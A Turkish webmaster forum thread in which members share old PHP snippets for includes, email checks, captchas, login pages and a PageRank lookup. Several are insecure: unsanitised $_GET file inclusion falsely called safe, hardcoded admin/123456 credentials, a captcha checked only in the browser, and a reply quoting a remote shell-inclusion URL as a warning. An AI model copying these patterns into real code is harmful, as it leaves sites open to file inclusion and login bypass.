chat ege.net

Kütüphane

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
Genel sorunlar üzerine bir çok yararlı fonksiyonu arşivinizde bulunması açısından buradan sizlere sunacağım. Destek olmak isteyenler bu post altina yarattıkları kolaylık getiren fonksiyonları yazabilirler.
 

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
$_GET ile gelen bilgiyi include etmek

PHP:
<?php
function getir($uzanti){
 if ($_GET[$uzanti]) {
  if (file_exists("./$_GET[$uzanti].php")) {
   include "./$_GET[$uzanti].php";
  } else {
   echo "Aradığınız bölüm portalımızda mevcut değildir.";
  }
 }
}
?>
index.php?t=konu için;
PHP:
getir("t");
index.php?a=konu için;
PHP:
getir("a");
kullanılır.

prefix lerde ./prefix şeklinde kullandığımız için herhangi bir açık sözkonusu degildir.
 

cepwap

Profesyonel
Katılım
21 Mar 2005
Mesajlar
316
Basit bir email adresi kontrolü

Belki önceden benzeri verilmiş olabilir
PHP:
function checkEmail($email)
  {
  if(!eregi("^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\.[a-z]{2,4}$", $email)) return FALSE;
	else return TRUE;
  };
-Direk TLD altındaki adresler([email protected] gibi) hariç tüm adresler onaylanıyor
-En az 2 ,en fazla 4 karaktere kadar TLD izni var (.tr , .info gibi), bu değerleri değiştirebilirsiniz mesela .museum için 4ü 6 yapın.
 

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
harfleri küçültme ve türkçe karakterleri dönüştürme

PHP:
<?
function degistir($q) {
 $q = ereg_replace("%u0131","i",$q);
 $q = ereg_replace("%u011F","g",$q);
 $q = ereg_replace("%u015F","s",$q);
 $q = str_replace("\$","s",$q);
 $q = ereg_replace("ş","s",$q);
 $q = ereg_replace("Ş","S",$q);
 $q = ereg_replace("ç","c",$q);
 $q = ereg_replace("Ç","C",$q);
 $q = ereg_replace("ı","i",$q);
 $q = ereg_replace("İ","I",$q);
 $q = ereg_replace("ğ","g",$q);
 $q = ereg_replace("Ğ","G",$q);
 $q = ereg_replace("ö","o",$q);
 $q = ereg_replace("Ö","O",$q);
 $q = ereg_replace("ü","u",$q);
 $q = ereg_replace("Ü","U",$q);
 $q = ereg_replace("Ö","O",$q);
 $q = ereg_replace("\,","",$q);
 $q = ereg_replace("\.","",$q);
 $q = ereg_replace("  "," ",$q);
 $q = ereg_replace("\?","",$q);
 $q = ereg_replace("\!","",$q);
 $q = strtolower($q);
 $q=trim($q);
 return $q;
}
kullanimi;
PHP:
$metin="Ahmet ANKARA'ya gelince Şenay'ı ara";
$sonhali=degistir($metin);
echo $sonhali;
 

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
PHP:
<?
function ulkeBul($ip) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://ip-to-country.webhosting.info/node/view/36");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ip_address='.$ip.'');
$kaynak = curl_exec ($ch);
curl_close ($ch);
preg_match("'belongs to <b>(.*?)</b>'s", $kaynak , $donen);
return $donen["1"];
}
?>
kullanımı;

PHP:
$ulke=ulkeBul($_SERVER["REMOTE_ADDR"]);
if ($ulke=="Turkey") {
header("Location:index.php?lang=tr");
} else if ($ulke=="England") {
header("Location:indexen.php?lang=eng");
}
gibi. bu işine yarar @mk++
 
B

Baria

Browsere göre dil yönlendirmesi
PHP:
<?php
if (getenv("HTTP_ACCEPT_LANGUAGE") == "tr"){
header("Location:tr/"); 
}
////German (Germany) = de 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de")  {
header("Location:de/"); 
}
////German (Austria) = de-at 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-at")  {
header("Location:de/"); 
}
////German (Liechtenstein) = de-li 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-li")  {
header("Location:de/"); 
}
////German (lexumbourg) = de-lu 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-lu")  {
header("Location:de/"); 
}
////German (Switzerland) = de-ch 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-ch")  {
header("Location:de/"); 
}
////Dutch (Netherlands) = nl 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "nl") {
header("Location:nl/"); 
}
////Dutch (Belgium) = nl-be 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "nl-be") {
header("Location:nl/"); 
}
///French (France) = fr 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr") {
header("Location:fr/"); 
}
///French (Switzerland) = fr-ch 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-ch") {
header("Location:fr/"); 
}
///French (Monaco) = fr-mc 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-mc") {
header("Location:fr/"); 
}
///French (Luxembourg) = fr-lu 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-lu") {
header("Location:fr/"); 
}
///French (Canada) = fr-ca 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-ca") {
header("Location:fr/"); 
}
///French (Belgium) = fr-be 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-be") {
header("Location:fr/"); 
}
///Spanish (Argentina) = es-ar 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ar") {
header("Location:es/"); 
}
///Spanish (Bolivia) = es-bo 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-bo") {
header("Location:es/"); 
}
///Spanish (Chile) = es-cl 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-cl") {
header("Location:es/"); 
}
///Spanish (Colombia) = es-co 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-co") {
header("Location:es/"); 
}
///Spanish (Costa Rica) = es-cr 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-cr") {
header("Location:es/"); 
}
///Spanish (Dominican Republic) = es-do 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-do") {
header("Location:es/"); 
}
///Spanish (Ecuador) = es-ec
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ec") {
header("Location:es/"); 
}
///Spanish (El Salvador) = es-sv 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-sv") {
header("Location:es/"); 
}
///Spanish (Guatemala) = es-gt 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-gt") {
header("Location:es/"); 
}
///Spanish (Honduras) = es-hn 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-hn") {
header("Location:es/"); 
}
///Spanish (International Sort) = es 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es") {
header("Location:es/"); 
}
///Spanish (Mexico) = es-mx 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-mx") {
header("Location:es/"); 
}
///Spanish (Nicaragua) = es-ni 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ni") {
header("Location:es/"); 
}
///Spanish (Panama) = es-pa 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-pa") {
header("Location:es/"); 
}
///Spanish (Paraguay) = es-py 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-py") {
header("Location:es/"); 
}
///Spanish (Peru) = es-pe 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-pe") {
header("Location:es/"); 
}
///Spanish (Puerto Rico) = es-pr 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-pr") {
header("Location:es/"); 
}
///Spanish (United States) = es-us 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-us") {
header("Location:es/"); 
}
///Spanish (Uruguay) = es-uy 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-uy") {
header("Location:es/"); 
}
///Spanish (Venezuela) = es-ve 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ve") {
header("Location:es/"); 
}
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr") {
header("Location:indexfr.php"); 
}
else {
header("Location:en/"); 
}
?>
 
B

Baria

İp gosterme
PHP:
<?php
$ipim = $_SERVER['REMOTE_ADDR']; 
echo "$ipim";
?>

Referer gösterme
PHP:
<?php
$gelen = $_SERVER['HTTP_REFERER']; 
echo "$gelen";
?>
Php info gösterme
PHP:
<?
phpinfo();
?>
 

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
Değişik bir algoritma ile şifre oluşturmak

PHP:
<?
function sifre_olustur($sifre) {
 $yenisifre=md5($sifre); //32 haneli md5 şifremiz oluşturuldu
 $sifre1=substr($yenisifre,0,5); //32 haneli md5 şifrenin ilk 5 haneli alindi.
 $sifre2=md5($sifre1); //alinan 5 haneli sifre tekrardan 32 haneli md5 e cevrildi.
 $sifre3=substr($sifre2,5,10); //yeni oluşan şifrenin 5 den sonra 5 karakteri alindi
 $toplam=$sifre1.$sifre3;
 $ytoplam=crypt(cyrpt($toplam,"Tt"),"Mq"); //şifreler birleştirilip 2 kere crpyt ediliyor
 return $ytoplam;
 }
?>
Kullanımı;

PHP:
<?
$sifre="1234567";
$yenisifre=sifre_olustur($sifre);
echo $yenisifre;
?>
 

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
Resim üzerine güvenlik kodu oluşturmak

Küçük bir login sistemiyle konuyu kavramak için

resim.php

PHP:
<?
  set_magic_quotes_runtime(0);
  if (!session_is_registered("kod")) {
  $kod = mt_rand(9999,9999999); //9999 ve 9999999 sayilari arasinda rastgele bir kod oluşturur
  session_register("kod");
  }
  $image = imagecreate(115, 20);
  $white = imagecolorallocate($image, 200, 0, 200);
  $gray = imagecolorallocate($image, 192, 192, 192);
  $black = imagecolorallocate($image, 0, 0, 0);
  $w=imageline($image, 140, 10, 0, 10, $gray);
  $q=imagestring($image, 4, 28, 2, $_SESSION['kod'], $black);
  imagepng($image,$q,$w);
  imagedestroy($image);
  ?>
Resim.php çalıştırıldığında 1 adlı bir dosya yaratacaktır. Bu bir png dosyasıdır.

index.php
PHP:
<?
session_start();
if (!$_POST) {
include "resim.php";
?>
<br><br><br><br>
<table border=0 align=center>
<form action="" method="POST">
<tr>
  <td>Kullanıcı adı:</td>
  <td><input type="text" name="adi" size="20"></td>
</tr>
<tr>
  <td>Şifre:</td>
  <td><input type="password" name="sifre" size="20"></td>
</tr>
<tr>
  <td>Güvenlik kodu:</td>
  <td>
  <img src="1" border="0" />
  </td>
</tr>
<tr>
  <td> </td>
  <td><input type="text" name="gkod" size="10"></td>
</tr>
<tr>
  <td> </td>
  <td><input type="submit" value="giriş" class=news></td>
</tr>
</form>
</table>
<?
} else {
if (($_POST['adi'] == "deneme" AND $_POST['sifre'] == "deneme") AND ($_POST['gkod'] == $_SESSION['kod'])) {
session_unregister("kod");
session_register("adi");
header("Location:yonetim.php");
} else {
header("Location:index.php");
}
}
?>
Kullanıcı adı: deneme
Şifre: deneme

yonetim.php

PHP:
<?
session_start();
if (session_is_registered("adi")) {
echo $_SESSION['adi'];
echo "<br><a href='cikis.php'>Çıkış</a>";
} else {
header("Location:index.php");
}
?>
cikis.php

PHP:
<?
session_start();
session_destroy();
header("Location:index.php");
?>
 

dsgnr

Müptela
Katılım
22 Mar 2006
Mesajlar
1,144
Konum
dev
PHP:
<?
 
$yazi = "Çelişkiler Diyarı";
$bul = array (' ','ç','ğ','ı','ö','ş','ü','Ç','Ğ','İ','Ö','Ş','Ü',',','?','(',')'); 
$koy = array ('_','c','g','i','o','s','u','c','g','i','o','s','u','','','',''); 
$yazi = str_replace($bul, $koy, $yazi);
 
?>
 

dsgnr

Müptela
Katılım
22 Mar 2006
Mesajlar
1,144
Konum
dev
Sayfa Şifreleme


sifre.php
PHP:
<?
session_start();

$kullanici_adi="admin";
$sifre="123456";
if($islem == "cikis")
{
session_destroy();
}
if(session_is_registered('panelegirdim'))
{
 include('../inc/ayar.php');
}
else
{
 if(($user == $kullanici_adi) AND ($pass == $sifre))
 {
  $panelegirdim = "evet";
  session_register('panelegirdim');
 }
 else
 {
 ?>
<style>
TD {font-family: Helvetica, Arial, Tahoma ,verdana; font-size:10px; color: #444444;}
.formum
{
font-family: Verdana;
font-size: 8pt;
width: 100%;
}
</style>
 <center>
 <form method="POST" action="index.php">
 <table width="200" border="1" bordercolor="#CBCBCB">
  <tr>
   <td width="30%" nowrap> Admin :</td>
   <td><input type="text" name="user" class="formum"></td>
  </tr>
  <tr>
   <td width="30%" nowrap> Parola :</td>
   <td><input type="password" name="pass" class="formum"></td>
  </tr>
  <tr>
   <td colspan="2"><input type="submit" name="giris" value="Giriş Yap" class="formum"></td>
  </tr>
 </table>
 </form>
 </center>
 <?
 exit();
 }
}
?>

Bu işlemden sonra şifrelenecek sayfaların en üstüne

PHP:
<?
include('sifre.php');
?>
yazarsanız o sayfaları şifrelemiş olursunuz.
 

dsgnr

Müptela
Katılım
22 Mar 2006
Mesajlar
1,144
Konum
dev
HEADER ile sayfa koruması

sifre.php
PHP:
<?php
$bolge_adi="YÖNETİM PANELİ";
$kullanici_adi="admin";
$sifre="123456";
if (!isset($PHP_AUTH_USER))
{
header("WWW-Authenticate: Basic realm=\"$bolge_adi\"");
header("HTTP/1.0 401 Unauthorized");
echo"<font face=\"Verdana\" size=\"2\"><b><center>... :::  BU SAYFAYA GİRMEYE YETKİLİ DEĞİLSİNİZ ::: ...</center></b></font>";
exit;
}
else
{
if ( ($PHP_AUTH_USER != $kullanici_adi) || ($PHP_AUTH_PW != $sifre) )
{
header("WWW-Authenticate: Basic realn=\"$bolge_adi\"");
header("HTTP/1.0 401 Unauthhorized");
echo"<font face=\"Verdana\" size=\"2\"><b><center>... :::  BU SAYFAYA GİRMEYE YETKİLİ DEĞİLSİNİZ ::: ...</center></b></font>";
exit;
}
}
?>

bunu kaydettikten sonra korumak istediğiniz sayfaların üstüne

PHP:
<?
require('sifre.php');
?>
yazın ve kaydedin.
 

dsgnr

Müptela
Katılım
22 Mar 2006
Mesajlar
1,144
Konum
dev
PR değeri göstertmek..



pr.php
PHP:
<?php 
define('GOOGLE_MAGIC', 0xE6359A60); 
function zeroFill($a, $b) 
{ 
    $z = hexdec(80000000); 
        if ($z & $a) 
        { 
            $a = ($a>>1); 
            $a &= (~$z); 
            $a |= 0x40000000; 
            $a = ($a>>($b-1)); 
        } 
        else 
        { 
            $a = ($a>>$b); 
        } 
        return $a; 
} 

function mix($a,$b,$c) { 
  $a -= $b; $a -= $c; $a ^= (zeroFill($c,13)); 
  $b -= $c; $b -= $a; $b ^= ($a<<8); 
  $c -= $a; $c -= $b; $c ^= (zeroFill($b,13)); 
  $a -= $b; $a -= $c; $a ^= (zeroFill($c,12)); 
  $b -= $c; $b -= $a; $b ^= ($a<<16); 
  $c -= $a; $c -= $b; $c ^= (zeroFill($b,5)); 
  $a -= $b; $a -= $c; $a ^= (zeroFill($c,3)); 
  $b -= $c; $b -= $a; $b ^= ($a<<10); 
  $c -= $a; $c -= $b; $c ^= (zeroFill($b,15)); 
  return array($a,$b,$c); 
} 
function GoogleCH($url, $length=lisanssız, $init=GOOGLE_MAGIC) { 
    if(is_null($length)) { 
        $length = sizeof($url); 
    } 
    $a = $b = 0x9E3779B9; 
    $c = $init; 
    $k = 0; 
    $len = $length; 
    while($len >= 12) { 
        $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24)); 
        $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24)); 
        $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24)); 
        $mix = mix($a,$b,$c); 
        $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; 
        $k += 12; 
        $len -= 12; 
    } 
    $c += $length; 
    switch($len)               
    { 
        case 11: $c+=($url[$k+10]<<24); 
        case 10: $c+=($url[$k+9]<<16); 
        case 9 : $c+=($url[$k+8]<<8); 
        case 8 : $b+=($url[$k+7]<<24); 
        case 7 : $b+=($url[$k+6]<<16); 
        case 6 : $b+=($url[$k+5]<<8); 
        case 5 : $b+=($url[$k+4]); 
        case 4 : $a+=($url[$k+3]<<24); 
        case 3 : $a+=($url[$k+2]<<16); 
        case 2 : $a+=($url[$k+1]<<8); 
        case 1 : $a+=($url[$k+0]); 
    } 
    $mix = mix($a,$b,$c); 
    return $mix[2]; 
} 
function strord($string) { 
    for($i=0;$i<strlen($string);$i++) { 
        $result[$i] = ord($string{$i}); 
    } 
    return $result; 
} 
function getrank($url) 
{ 
$url = 'info:'.$url; 
$ch = GoogleCH(strord($url)); 
$file = "http://www.google.com/search?client=navclient-auto&ch=6$ch&features=Rank&q=$url"; 
$data = file($file); 
$rankarray = explode (':', $data[2]); 
$rank = $rankarray[2]; 
return $rank; 
} 
  if (isset($_GET['url']) && !empty($_GET['url'])) 
  { 
    $url = $_GET['url']; 
    $pr = getrank($url); 
    $pr_html = ' 
       '.$pr.' 
     
 '; 
  } 
  else 
    $pr_html = ''; 

      if ($pr_html == 0) { 
$location="0"; 
} elseif ($pr_html == 1) { 
$location="1"; 
} elseif ($pr_html == 2) { 
$location="2"; 
} elseif ($pr_html == 3) { 
$location="3"; 
} elseif ($pr_html == 4) { 
$location="4"; 
} elseif ($pr_html == 5) { 
$location="5"; 
} elseif ($pr_html == 6) { 
$location="6"; 
} elseif ($pr_html == 7) { 
$location="7"; 
} elseif ($pr_html == 8) { 
$location="8"; 
} elseif ($pr_html == 9) { 
$location="9"; 
} elseif ($pr_html == 10) { 
$location="10"; 
} 
//header("Location: ".$location.".gif");    // isterseniz resim göstertirsiniz...
echo"PR : <b>".$location."</b>";
?>

sayfayı açtırıken pr.php?url=http://www.soyturk.com şeklinde link verin.
 

dsgnr

Müptela
Katılım
22 Mar 2006
Mesajlar
1,144
Konum
dev
Güvenlik numarası oluşturmak..

1.php
PHP:
<?
// session_start() sayfanın en üstünde olacak  bunun üstünde hiç html kod olmayacak
session_start();
?>

<?
if(session_is_registered('guvenlik'))
{
}
else
{
 function rastgelekod() 
 {
 $sozluk = "0123456789";
  srand((double)microtime()*1000000);
      $i = 0;
      while ($i <= 4) 
   {
            $num = rand() % 10;
            $tmp = substr($sozluk, $num, 1);
            $pass = $pass . $tmp;
            $i++;
      }
      return $pass;
 }
$guvenlik = rastgelekod();
session_register("guvenlik");
}
?>
 
 

<script language="JavaScript">
function kontrol()
{
_a1 = document.formadi.code1.value;
_a2 = document.formadi.code2.value;
  if (_a1 != _a2)
{ 
 alert("Güvenlik Kodunu Doğru Girdiğinize Emin Olunuz");
 formadi.code1.focus();
 return(false); 
}
}
</script>
<form name="formadi" method="POST" action="2.php" onSubmit="return kontrol(this)">
Güvenlik Kodu : <b><?=$guvenlik;?></b><br>
<input type="text" size="20" name="code1">
<input type="hidden" size="20" name="code2" value="<?=$guvenlik;?>">
<input type="submit" value="Yolla">
</form>

2.php
PHP:
<?
// session_start() sayfanın en üstünde olacak  bunun üstünde hiç html kod olmayacak
session_start();
?>
 
 
<?
$code1=$_POST['code1'];
$code2=$_POST['code2'];
if($code1==$code2 AND $code1!='' AND $code2!='')
{
echo"Teşekkür Ederim";
}
else
{
?>
<script language="Javascript">
 alert("güvenlik Kodunda Hata Tesbit Edildi");
 window.location.href(history.back());
</script>
<?
}
?>
 

zeusmaster

Profesyonel
Katılım
21 Mar 2005
Mesajlar
245
dsgnr' Alıntı:
sayfa içine include veri çekmek..


abc.php
PHP:
<?
if(!$as) $as = "anasayfa.txt"; else $as = "$as"; 
if(file_exists("$as")) 
{ 
include ("$as"); 
} 
else 
{ 
echo"Veri Çekilmesi Bekleniyor";
} 
?>

bunu yazdığınız sayfayı abc.php?as=http://www.soyturk.com/index.html

şeklinde açarsanız kodu koyduğunuz alanda soyturk.com/index.html gözükür.

aman aman en tehlike iş bu anında heklenirsiniz

abc.php?as=http://www.soyturk.com/shell.txt
aynen güm
alınan veriyi göstermeden önce süzgeçten geçirmelisiniz
 

zeusmaster

Profesyonel
Katılım
21 Mar 2005
Mesajlar
245
php içinde html kodları verirken sorun yaşamamak için uygulanan bir kod

<?
$content="vsvsvs";
$html = <<<EOF

<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
<table border="0" cellspacing="0" width="100%" cellpadding="0">
<tr>
<td width="100%" bgcolor="#111111">$content</td>
</tr>
</table>
</td>
</tr>
</table>
EOF;
echo $html;
?>
 

dsgnr

Müptela
Katılım
22 Mar 2006
Mesajlar
1,144
Konum
dev
istenilen verileri rastgele sıralama


sirala.php

PHP:
$veri[0] = "soyturk";
$veri[1] = "dsgnr";
$veri[2] = "php";
$veri[3] = "coder";
$veri[4] = "google";
$veri[5] = "seo";

surffle($veri)
echo $veri[0];
bu sayede verilere girilen değerler random olarak gözükür.
 

zbahadir

Müptela
Katılım
19 Mar 2006
Mesajlar
2,416
Konum
Trabzon
Image Compare

Bir zamanlar çok araştırmış ama bulamamıştım. GD Kütüphanesini kullanarak iki resmi karşılaştırmaya yarayan bir fonksiyon buldum ve iyinetle paylaşmak istedim.

Fonksiyon:
PHP:
function imagecompare($img1, $img2) { 
  if (imagesx($img1)!=imagesx($img2) || imagesy($img1)!=imagesy($img2)){ 
   return false; 
  } 
  for( $x=0; $x<imagesx($img1 ); $x++ ){ 
     for ($y=0; $y<imagesy($img1); $y++) { 
         if(imagecolorat($img1,$x,$y)!=imagecolorat($img2,$x,$y)){ 
                 return false; 
         } 
     } 
  } 
  return true; 
}
Kullanımı :

PHP:
$im1=imagecreatefromgif("test1.gif"); 
$im2=imagecreatefromgif("test2.gif"); 
echo imagecompare(&$im1,&$im2);
kaynak
 

Caesar

Müptela
Katılım
5 Haz 2006
Mesajlar
1,894
Main kontrol fonksiyonu:

PHP:
 function kontrol_mail($email) {
  if (!eregi ("^([a-z0-9_]|\\-|\\.)[email protected](([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$", $email))
  die ("E-Mail Adresiniz Geçersiz<br><a href='javascript:history.back();'>Geri dön</a>");
  }
Kullanımı;
PHP:
$mail="[email protected]";
kontrol_mail($mail);
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...
Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur. iyinet.com sayfalarında yer alan yazı, görsel ve linklerle ilgili hukuki şikayetleriniz için Buradan iletişime geçmeniz durumunda, ilgili kanunlar ve yönetmelikler çerçevesinde en geç 7 gün içerisinde iyinet yönetimince tarafınıza dönüş sağlanacaktır. Betcup Artemisbet
Üst